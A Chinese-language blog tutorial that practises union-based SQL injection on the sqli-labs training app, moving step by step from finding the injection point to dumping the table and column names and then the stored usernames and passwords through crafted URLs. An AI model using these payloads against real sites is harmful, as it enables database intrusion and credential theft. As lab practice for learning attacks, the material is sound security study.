用sql libs 練習sql注入(—)

最近學習sql注入裏最簡單的一種——聯合查詢注入
現在寫下來理清思路,也分享分享自己的收穫。

聯合查詢的前提條件:頁面上有顯示位

什麼是顯示位?
在一個在一個網站的正常頁面,服務端執行SQL語句查詢數據庫中的數據,客戶端將數 據展示在頁面中,這個展示數據的位置就叫顯示位。
聯合查詢的過程:
1、判斷注入點
2、判斷列數
3、獲取所有數據庫名
4、獲取數據庫所有表名
5、獲取字段名
6、獲取字段中的數據

首先,SQL注入變量的後邊添加輸入id=1或id=2,回顯頁面不同。
在這裏插入圖片描述
一,判斷閉合符號。
常見的有:" , ’ ,’) ,") ,或者沒有閉合符合(最危險)
首先在url框裏輸入id=1",回顯正常。這就說明這不是閉合符號,我們再換一個。
輸入id=1’,出現了報錯,這就說明 ’ 是閉合符號。在這裏插入圖片描述
二,判斷列數
在order by 後面1 ,2 ,3,…直到報錯。

http://localhost/sqli-labs-master/Less-1/?id=1’ order by 4–+

在這裏插入圖片描述
這就知道了總共有3列。

http://localhost/sqli-labs-master/Less-1/?id=0’ union select 1,2,3–+

我們將id=0(數據庫中不存在的數),這樣會回顯我們輸入的數。在這裏插入圖片描述
2,3的位置就是我們輸入的。
三,獲取所有數據庫名。

http://localhost/sqli-labs-master/Less-1/?id=0’ union select 1,database(),3–+

在這裏插入圖片描述
這樣數據庫就出來了。
四,獲取數據庫裏所有表名。
下面是所需的名稱及解釋。(本人比較懶,學長的就拿過來了用了)

在此之前,我們要知道在MySQL中有information_schema這個庫,該庫存放了所有數據庫的信息。
information_schema.columns包含所有表的字段
table_schema 數據庫名
table_name 表名
column_name 列名
information_schema.tables包含所有庫的表名
table_schema 數據庫名
table_name 表名
information_schema.schemata包含所有數據庫的名
schema_name 數據庫名
group_concat()函數功能:將group by產生的同一個分組中的值連接起來,返回一個字符串結果。
————————————————
版權聲明:本文爲CSDN博主「~Lemon」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_43431158/article/details/90743320

下面直接獲取數據表名。

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在這裏插入圖片描述

五,獲取字段名。

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

在這裏插入圖片描述
六,獲取字段中的數值。

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

注意:0x3a是區分用戶名和密碼的。
在這裏插入圖片描述
用戶名和密碼都知道了,剩下的自己想吧。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章